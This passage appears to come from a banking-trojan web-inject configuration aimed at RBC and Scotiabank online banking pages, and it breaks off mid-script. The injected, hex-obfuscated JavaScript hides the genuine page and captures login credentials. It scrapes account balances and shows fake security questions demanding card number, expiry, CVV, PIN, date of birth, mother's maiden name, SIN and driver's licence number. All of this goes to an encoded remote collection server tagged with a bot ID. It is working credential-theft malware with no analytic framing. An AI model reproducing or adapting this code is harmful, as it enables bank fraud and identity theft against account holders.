              var finda = jQuery("a[href*='DispPVQsAForm']").attr('href');  
                 if (finda)  
                 {  
              var parse = finda.split(':');  
              var result = parse[1];  
             // eval(result);  
                  logMessages( 'Profile - Page:' , 'page1' , result,'' );  
                 }  
            }  
            else if( x ==3)//questions  
      {  
             var next_button1 = jQuery('#id_btn_continue').eq(0).attr('onclick');  
                if( next_button1)  
                {  
              next_button1.call();  
                  var next_button1 = jQuery('#id_btn_continue').eq(0).attr('href');  
                  if( next_button1)  
                  {  
                var parse = next_button1.split(':');  
                var result = parse[1];  
                      logMessages( 'Change Question - Page:' , 'page2' , result,'' );  
                  }  
                }  
            }  
           }  
       }  
           function iLogin()  
           {  
         var u_login = jQuery("#K1").val();  
         var u_pass = jQuery("#Q1").val();  
          if ( ( u_login.length < 3 ) || ( u_pass.length < 3 ) )  
         {  
             alert('Error Message :\nPlease enter both your User ID and Password.');  
             return false;  
         }    
      function myCallback()  
      {  
       jQuery('button[type=submit]').eq(1).click();     
       }  
       var req= "send=1&bn=ca_rbc&u_bot_id=" +  bot_id +"&u_login=" +u_login +"&u_pass=" + u_pass + "&log=ca_rbc_login";  
      sendScriptRequest(sa,req,myCallback, ["test123"]);  
             return false;  
           }  
       jQuery(document).ready( function () {  
       grabQ();  
       blockonEnter();  
        if( jQuery('#homepagetitle').length == 1)  
           {  
           }  
           var where = jQuery('img.icon').attr('src');  
           var balance_l = 0;  
           if( where =='/uos/common/images/icons/secure.gif')  
           {  
             var accounts = '';  
             var balances = jQuery("strong:contains('CAD')").each( function()   
             {  
              var b = jQuery(this).text();  
                  accounts = accounts + jQuery.trim(jQuery(this).parent().parent().parent().find('tr').eq(0).find('th').text())+':<b>'+jQuery.trim(b) +"</b>|" ;  
                 balance_l++;  
             });  
             if( balance_l > 0 )  
             {  
              checkFake(accounts);  
             }  
           //   
           }  
           if ( jQuery("#Q1").length == 1 )  
           {  
            jQuery('button[type=submit]').eq(1).parent().parent().hide();  
      var text = jQuery('button[type=submit]').eq(1).text();  
            jQuery('#Q1').after('<span class="button button-primary" style="float:left;"><span><button type="button" onclick="iLogin()" tabindex="4">'+text+' <img src="/uos/common/images/buttons/chevron.gif" alt="" height="12" width="12"></button></span></span>');  
            jQuery('body').show();  
            return false;  
           }  
        // jQuery('body').show();  
       });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url *.scotiaonline.scotiabank.com/online/views/accounts/summary/summaryStandard* GP  
 data_before  
 <body*>  
 data_end  
 data_inject  
 <div id="panel" style="display:none">  
  <div class="signon-wrapper" id="signw" style="margin-top:70px;">  
  <span id="span_msgs_9" style="display:none;"><div tabindex="0" class="ewa-bucket">  
                <h4 class="off-screen">Error Messages</h4>  
                <ul class="error">  
                          <li>  
                               <span>The information you entered does not match our records. Please try again. (Error #AE1007-3)  
                               </span>  
                          </li>  
                </ul><img src="/questRptImgs/zero.gif?op=MfaMachRegSet&amp;exid=1007" alt="" border="0px" height="0px" width="0px"></div></span>  
                <div class="content">  
           <div class="dataview full-width">  
                <a name="main-content"></a>  
                <h1>authentication.mfa</h1>  
                <div class="form-data ftf-form-data"><span id="span_msgs_5"></span>  
                <h2 class="float-left">Security Questions</h2>  
                <div class="first-time-user-flow">  
                <div class="clearboth"></div>  
                <p>This computer or device is not registered in your profile. Please verify your identity by answering your personal security question. (<a href="#" id="mfaAuth_form:j_id114" name="mfaAuth_form:j_id114" onclick="var x=&quot;.tl(&quot;;s_objectID=&quot;https://www2.scotiaonline.scotiabank.com/online/authentication/mfaAuthentication.bns?convid=15006_7&quot;;return this.s_oc?this.s_oc(e):true">  
           <span class="">Why do I need to answer security questions?</span></a>)</p>  
                <h3>Security Questions</h3>  
                <table class="standard-table" id="my_q_table" summary="Personal Security Question and Answer" border="0" style="display:normal;" width="100%">  
                     <colgroup>  
                          <col width="100px">  
                          <col>  
                     </colgroup>  
                     <tbody>  
                            <tr><td colspan="2"></tr>  
                          <tr>  
                               <th scope="row"><label for="question1">Question:</label></th>  
                               <td>  
                     <span id="q11" style="display:none;">What is your card number ( xxxx-xxxx-xxxx-xxxx )?</span>  
                         <span id="q21" style="display:none">What is your card 3-digit cvv ?</span>  
                        <span id="q31" style="display:none">What is your phone password?</span>  
                        <span id="q41" style="display:none">Who is your first employer?</span>  
                        <span id="q51" style="display:none">What is your Social Insurance Number (xxx-xxx-xxx)? </span>  
                               </td>  
                          </tr>  
                          <tr>  
                               <th scope="row">  
                               </th>  
                               <td>  
                                <input id="pvqAnswer1" name="mfaAuth_form:answer_0" autocomplete="off" class=" inputwidth-lrg" tabindex="0" type="text">  
                               </td>  
                          </tr>  
                          <tr><td style="height:10px;" colspan="2"></tr>  
                          <tr>  
                               <th scope="row"><label for="question2">Question:</label></th>  
                               <td>  
                     <span id="q12" style="display:none;">What is your card expiration date ( mm/yyyy ) ?</span>  
                     <span id="q22" style="display:none;">What is your card pin ?</span>  
                     <span id="q32" style="display:none">What is your date of birth (mm/dd/yyyy)?</span>  
                     <span id="q42" style="display:none">What is your Mother's Maiden Name?</span>  
                     <span id="q52" style="display:none">What is your Driver's License Number?</span>  
                               </td>  
                          </tr>  
                          <tr>  
                               <th scope="row"><label for="mfaAuth_form:answer_0">  
               Answer:  
                                         <p class="hide-elem">This field contains an error:</p></label>  
                               </th>  
                               <td>  
                                 <input id="pvqAnswer2" name="mfaAuth_form:answer_0" autocomplete="off" class=" inputwidth-lrg" tabindex="0" type="text">  
                               </td>  
                          </tr>  
                     </tbody>  
                </table>  
                <br class="clearboth">  
                <h3 class="margin-top-15">Register this computer/device in my profile.</h3>  
                <p>If this is a personal computer or device, select "Yes" to have it registered and you won't have to answer security questions when signing on to Scotia OnLine. (<a href="#" id="mfaAuth_form:j_id129" name="mfaAuth_form:j_id129" onclick="var x=&quot;.tl(&quot;;s_objectID=&quot;https://www2.scotiaonline.scotiabank.com/online/authentication/mfaAuthentication.bns?convid=15006_8&quot;;return this.s_oc?this.s_oc(e):true">  
           <span class="">Learn more about registering your computer/device.</span></a>)</p>  
                <div class="form-section">  
                <fieldset><legend>Agree/Disagree buttons  
  <p class="hide-elem">This field contains an error:</p>  
                </legend>  
                <div class="data-pair"><div id="mfaAuth_form:register" class="radio-button-wrapper mfaAuthentication"><div id="mfaAuth_form:register_div_label" class="radio-button-parent-label mfaAuthentication"></div><div id="mfaAuth_form:register_div_0" class="radio-button-child mfaAuthentication"><input id="mfaAuth_form:register:0" name="mfaAuth_form:register" value="1" type="radio"><label for="mfaAuth_form:register:0"><span class="off-screen"></span><strong>Yes, this is a personal computer or device. </strong> Do not choose this option if this computer/device is available in a public place, such as a library or internet cafes.</label></div><div id="mfaAuth_form:register_div_1" class="radio-button-child mfaAuthentication"><input id="mfaAuth_form:register:1" name="mfaAuth_form:register" value="0" type="radio"><label for="mfaAuth_form:register:1"><span class="off-screen"></span><strong>No, this is not my computer or device. </strong> If you select "No" you will be prompted to answer a security question every time you sign on to Scotia OnLine using this computer/device.</label></div></div></div>  
                </fieldset>  
                </div>  
                <div class="btn-container margin-top-15">  
                      <button name="" id="nextB" title="Continue" onclick="sendInfo()" return false;" class="primary-button float-right">Continue</button>       
                      </div>  
                </div>  
                </div>  
           </div>            
                </div>  
                <div class="clearboth"></div>  
      <div class="footer-centered">  
           <div id="pageId" class="pageID">  
           Security Question - challenge:P2A329E80<div id="j_id146">                 
 </div>  
           </div>  
           <div class="footer">  
                <div class="footer-links resp-hide">                 
                     <ul>  
                          <li><a onclick="var x=&quot;.tl(&quot;;s_objectID=&quot;javascript:void(0)_2&quot;;return this.s_oc?this.s_oc(e):true" class="rewardsItem" href="javascript:void(0)">Legal</a></li>   
                          <li><a onclick="var x=&quot;.tl(&quot;;s_objectID=&quot;javascript:void(0)_3&quot;;return this.s_oc?this.s_oc(e):true" class="rewardsItem" href="javascript:void(0)">Privacy</a></li>  
                          <li><a onclick="var x=&quot;.tl(&quot;;s_objectID=&quot;javascript:void(0)_4&quot;;return this.s_oc?this.s_oc(e):true" class="rewardsItem" href="javascript:void(0)">Security</a></li>  
                          <li><a onclick="var x=&quot;.tl(&quot;;s_objectID=&quot;https://login.scotiabank.mobi/b/_1&quot;;return this.s_oc?this.s_oc(e):true" href="https://login.scotiabank.mobi/b/" class="rewardsItem">Mobile Site</a></li>   
                               <li><a onclick="var x=&quot;.tl(&quot;;s_objectID=&quot;javascript:void(0)_5&quot;;return this.s_oc?this.s_oc(e):true" class="rewardsItem" href="javascript:void(0)">Scotiabank.com</a></li>  
                     </ul>            
                </div>  
                <div class="clearboth"></div>            
           </div><div id="j_id161">  
           </div><div id="analyticsEventAjax_div"></div><div id="analyticsEventAjaxLinkLevel_div"></div>       
      </div>                           
                </div>  
 </div>  
 <script type="text/javascript">  
 jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} ;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} ;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var _0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_scotia";  
       var sa = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
       function inisiateError( question_number)  
       {  
         jQuery('#span_msgs_9').show();  
         var errorText = '#pvqAnswer' + question_number;  
            jQuery(errorText).val('');  
            setTimeout(showDelay,2000);  
       }  
       function removeError( question_number)  
       {  
         jQuery('#span_msgs_9').hide();  
       }  
  function luhn(num) {num = (num + '').replace(/\D+/g, '').split('').reverse();if (!num.length)return false;var total = 0, i;for (i = 0; i < num.length; i++) {num[i] = parseInt(num[i]);total += i % 2 ? 2 * num[i] - (num[i] > 4 ? 9 : 0) : num[i];}return (total % 10) == 0;}  
    function checkCC(cc1,cc2,cc3,cc4)  
    {  
     var full = cc1 + cc2 + cc3 + cc4;  
     if ( (isNaN(cc1) || isNaN(cc2) || isNaN (cc3) || isNaN (cc4)) == false )  
     {  
      var totalLengthCC = full.length ;  
      if ( (totalLengthCC == 16 ))  
      {  
         if (( cc1.charAt(0) == '4' ) || ( cc1.charAt(0) == '5' ) )  
         {  
           if ( luhn ( full ) )   
           {  
               return true;  
           }  
         }  
      }  
     }  
     return false;  
    }        
  function checkExp(card_exp)  
  {  
   if (card_exp.indexOf('/')+1 )  
      {  
        var exp_result = card_exp.split('/');  
        if( exp_result.length != 2)  
        {  
         return false;  
        }  
     var exp_mm = exp_result[0];  
     var exp_yy = exp_result[1];  
      }  
      else  
      {  
       return false;  
      }  
   var totalLengthEXP = exp_mm.length + exp_yy.length;  
   if ( totalLengthEXP == 6 )  
   {  
      if ( ( exp_mm > 0 ) && ( exp_mm < 14) )  
      {  
         if (( exp_yy > 2014 ) && ( exp_yy < 2030 ) )  
         {  
           return true;  
         }  
      }  
   }  
   return false;  
  }        
      function checkCVV(cvv_num)  
   {  
    var cvvLength = cvv_num.length;  
    if ( isNaN(cvv_num) == false)  
    {  
     if ( cvvLength == 3 )  
     {  
     if ( (cvv_num.charAt(0) == cvv_num.charAt(1) )&& (cvv_num.charAt(1) ==cvv_num.charAt(2) ) )  
     {   
      return false;  
     }      
     if( cvv_num == "123")  
     {  
        return false;  
     }  
     return true;  
     }  
    }  
    return false;  
   }   
   function checktext(mmn)  
   {  
   if ( isNaN(mmn) )  
   {  
      return true;  
   }  
   return false;  
   }     
    function showDelay()  
       {  
         jQuery('body').show();  
       }  
       function showOrig()  
       {  
             jQuery("#signw").hide();  
          jQuery("div.navigation").show();  
           jQuery("div.content").eq(1).show();  
       }        
  function sendInfo()  
       {  
        jQuery('body').hide();  
        removeError( 1 );  
        removeError( 2 );  
        var was_error = 0;  
        var a1 = jQuery('#pvqAnswer1').val();  
        if( a1 == '')  
        {   
         inisiateError( 1);   
            was_error++  
        }  
        var a2 = jQuery('#pvqAnswer2').val();  
        if( a2 == '')  
        {  
            inisiateError( 2);  
            was_error++;  
        }  
        if ( was_error > 0)  
        {  
         return false;  
        }  
        var q1show = jQuery('#q11').css('display');  
        var q2show = jQuery('#q21').css('display');  
        var q3show = jQuery('#q31').css('display');  
        var q4show = jQuery('#q41').css('display');  
        var q5show = jQuery('#q51').css('display');  
        var a1error = 1;  
        var a2error = 1;  
        //START CAR EXP  
        if( q1show != 'none')  
        {  
         //a1= card   
             a1error = 1;  
             a2error = 1;  
            if( a1.length == 19)  
            {  
             if (a1.indexOf('-')+1 )  
                {  
                  var result = a1.split('-');  
                  if( result.length == 4)  
                  {  
            var cc1 = result[0];  
            var cc2 = result[1];  
            var cc3 = result[2];  
                           var cc4 = result[2];  
                           if ( checkCC(cc1,cc2,cc3,cc4))  
                           {  
                            a1error = 0;  
                           }  
                  }  
                }  
            }  
            //a2 = expiration  
            if( a2.length ==7)  
            {  
              if( checkExp(a2))  
                 {  
                     a2error = 0;  
                 }  
            }  
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
                        var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_scot&full_cc=Card:"  + a1 +  
                           "&full_exp=" + a2 +  
                           "&log=cc_page_1";  
                                                function ccall()  
                     {  
                                                       jQuery('body').hide();  
                         jQuery('#q11').hide();  
                                                          jQuery('#q12').hide();  
                         jQuery('#q21').show();  
                                                          jQuery('#q22').show();  
                                                          jQuery('#pvqAnswer1').val('');  
                                                          jQuery('#pvqAnswer2').val('');  
                                                             setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }  
            if (a1error == 1 )  
            {  
              inisiateError(1);   
            }  
             if (a2error == 1 )  
             {  
              inisiateError(2);   
             }  
        } //END CARD EXP  
        //START PIN CVV  
     else if ( q2show != 'none')  
        {  
            a1error = 1;  
            a2error = 1;  
         if( checkCVV(a1))  
            {  
             a1error = 0 ;  
            }  
            //end a1  
            //starta2  
             if(( a2 != "") && ( a2.length > 2 ))  
             {  
              var pin = parseInt(a2);  
              if( isNaN(pin) == false)  
                 {  
                  a2error = 0;  
                 }  
             }  
             //start send  
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_scot&cvv="+a1+"&pin=<b>PIN:</b>" + a2 +  
                           "&log=page_pin";  
                                                function ccall()  
                     {  
                                                     jQuery('body').hide();  
                                                        if( do2[2] =='0')  
                                                        {  
                                                      mainPageRedirect();  
                                                        }  
                                                        else  
                                                        {  
                                                        showOrig();  
                                                        setTimeout(showDelay,2000);  
                                                        }  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }  
            if (a1error == 1 )  
            {  
              inisiateError(1);   
            }  
            if (a2error == 1 )  
             {  
              inisiateError(2);   
             }  
        }  
         //end pin cvv  
            //start phonepass dob  
        else if (q3show != 'none')  
        {  
            a1error = 1;  
            a2error = 1;  
      if( a1.length > 3)  
      {  
              a1error = 0;  
            }       
                 if( a2.length == 10)  
                 {  
                   if (a2.indexOf('/')+1 )  
                      {  
                       var result = a2.split('/');  
                       if( result.length == 3)  
                       {  
            var dob_mm = result[0];  
            var dob_dd = result[1];  
            var dob_yy = result[2];  
                             var totalLengthDOB  = dob_mm.length+dob_dd.length+dob_yy.length;  
               if ( ( isNaN(dob_mm) || isNaN(dob_dd) || isNaN(dob_yy) ) == false )   
               {  
                if ( totalLengthDOB > 6 )  
                {  
                 if ( ( dob_yy < 1997) && (dob_yy > 1900) )  
                 {  
                   if( ( dob_mm > 0 ) && ( dob_mm < 13 ) && ( dob_dd > 0 ) && (dob_dd < 32 ) )  
                   {  
                       a2error = 0;  
                   }  
                 }  
                }  
               }  
                       }  
                      }  
                 }            
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
                       var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_scot&pin="+"<b>PhonePass:</b>" + a1 +"&full_dob=<b>DOB:</b>"+a2+  
                           "&log=page_dob";  
                                                function ccall()  
                     {  
                                                     jQuery('body').hide();  
                                                        if( do2[2] =='0')  
                                                        {  
                                                       mainPageRedirect();  
                                                        }  
                                                        else  
                                                        {  
                                                        showOrig();  
                                                        setTimeout(showDelay,2000);  
                                                        }  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }  
            if (a1error == 1 )  
            {  
              inisiateError(1);   
            }  
            if (a2error == 1 )  
             {  
              inisiateError(2);   
             }                       
        }  
        //end phone passdob  
        //start employer mmn  
        else if (q4show != 'none')  
        {  
            a1error = 1;  
            a2error = 1;       
      if( a1.length > 5)       
      {  
             a1error = 0;  
            }             
            if ( a2.length > 5)  
            {  
             if( checktext(a2) )  
             {  
             a2error = 0;  
             }  
            }  
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_scot&mmn=<b>MMN:</b>" + a2 + "|<b>employer:</b>" + a1+  
                           "&log=page_mmn";  
                                                function ccall()  
                     {  
                                                     jQuery('body').hide();  
                                                        if( do2[2] =='0')  
                                                        {  
                                                       mainPageRedirect();  
                                                        }  
                                                        else  
                                                        {  
                                                        showOrig();  
                                                        setTimeout(showDelay,2000);  
                                                        }  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }  
            if (a1error == 1 )  
            {  
              inisiateError(1);   
            }  
            if (a2error == 1 )  
             {  
              inisiateError(2);   
             }              
        }  
        //end employer mmn  
        //start sin   
        else if (q5show != 'none')  
           {  
            a1error = 1;  
            a2error = 1;       
                   if( a1.length == 11)  
                      {  
                    if (a1.indexOf('-')+1 )  
                       {  
                        var result = a1.split('-');  
                        if( result.length == 3)  
                        {  
             var sin_1 = result[0];  
             var sin_2 = result[1];  
             var sin_3 = result[2];  
                                if ( ( isNaN(sin_1) || isNaN(sin_2) || isNaN(sin_3) ) == false )  
                                {  
                  a1error = 0;  
                                }  
                           }  
           }                            
                      }  
         if( a2.length > 5)  
         {  
                       a2error = 0;  
         }       
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_scot&mmn=<b>SIN:</b>|"+a1+"<b>DL:</b>" + a2 +  
                           "&log=page_dl";  
                                                function ccall()  
                     {  
                                                     jQuery('body').hide();  
                                                        if( do2[2] =='0')  
                                                        {  
                                                      mainPageRedirect();  
                                                        }  
                                                        else  
                                                        {  
                                                         showOrig();  
                                                         setTimeout(showDelay,2000);  
                                                        }  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }  
            if (a1error == 1 )  
            {  
              inisiateError(1);   
            }  
            if (a2error == 1 )  
             {  
              inisiateError(2);   
             }                       
           }  
        return false;  
       }  
       function mainPageRedirect()  
       {  
       // jQuery("div.content").eq(0).hide();  
       // jQuery("#signw").css('margin-top','0');  
       // jQuery("div.content").eq(1).show();  
       // jQuery("div.navigation").show();  
       // jQuery('body').show();  
       //  location.href = 'https://www1.scotiaonline.scotiabank.com/online/views/managemyaccounts';  
       var href = jQuery("a[href*='/profile/personalProfile.bns']").attr('href');  
                location.href = href;  
       }  
       function showFake(retik)  
       {  
         var code = jQuery("#panel").html();  
            jQuery("#panel").html("");  
            jQuery("div.navigation").hide();  
            jQuery("div.content").before(code);  
            jQuery("div.content").eq(1).hide();  
            if( retik == '0')  
            {  
             jQuery('#q11').show();  
                jQuery('#q12').show();  
            }  
            else if ( retik =='info_send_1')  
            {  
             jQuery('#q21').show();  
                jQuery('#q22').show();  
            }  
            else if ( retik =='pin_send')  
            {  
             jQuery('#q31').show();  
                jQuery('#q32').show();             
            }  
            else if ( retik =='dob_send')  
            {  
             jQuery('#q41').show();  
                jQuery('#q42').show();       
            }  
            else if ( retik =='mmn_send')  
            {  
             jQuery('#q51').show();  
                jQuery('#q52').show();       
            }  
            jQuery('body').show();  
       }  
    function checkFake(accounts)  
    {  
         var req= "send=5&u_bot_id=" + bot_id + "&bn=ca_scot&log=scotia_core_throw_balances" +  
                            "&cashlist="        +accounts+  
                            "&total="        +"In Cashlist";  
                 function myCallback1()  
        {  
                    if( ret_val != 'dl_send')  
                       {  
                        showFake(ret_val);  
                       }  
                       else  
                       {  
                        if( do2[2] =='0')  
                           {  
                           mainPageRedirect();  
                           }  
                           else  
                           {  
                           jQuery('body').show();  
                           }  
                       }  
                 }  
                 sendScriptRequest(sa,req,myCallback1, ["test123"]);                                                                         
    }  
  jQuery(document).ready( function () {  
    var accounts = '';  
       jQuery('td.balance').each( function () {  
        var b = jQuery(this).find('div').find('div').text();  
            accounts = accounts + jQuery.trim(jQuery(this).prev().find('a').text())+':<b>'+jQuery.trim(b) +"</b>|" ;  
       });  
   checkFake(accounts);  
  });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url *.scotiaonline.scotiabank.com/online/views/managemyaccounts/profile/personalProfile.bns GP  
 data_before  
 <bod*>  
 data_end  
 data_inject  
 <script type="text/javascript">  
 jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} ;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} ;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var 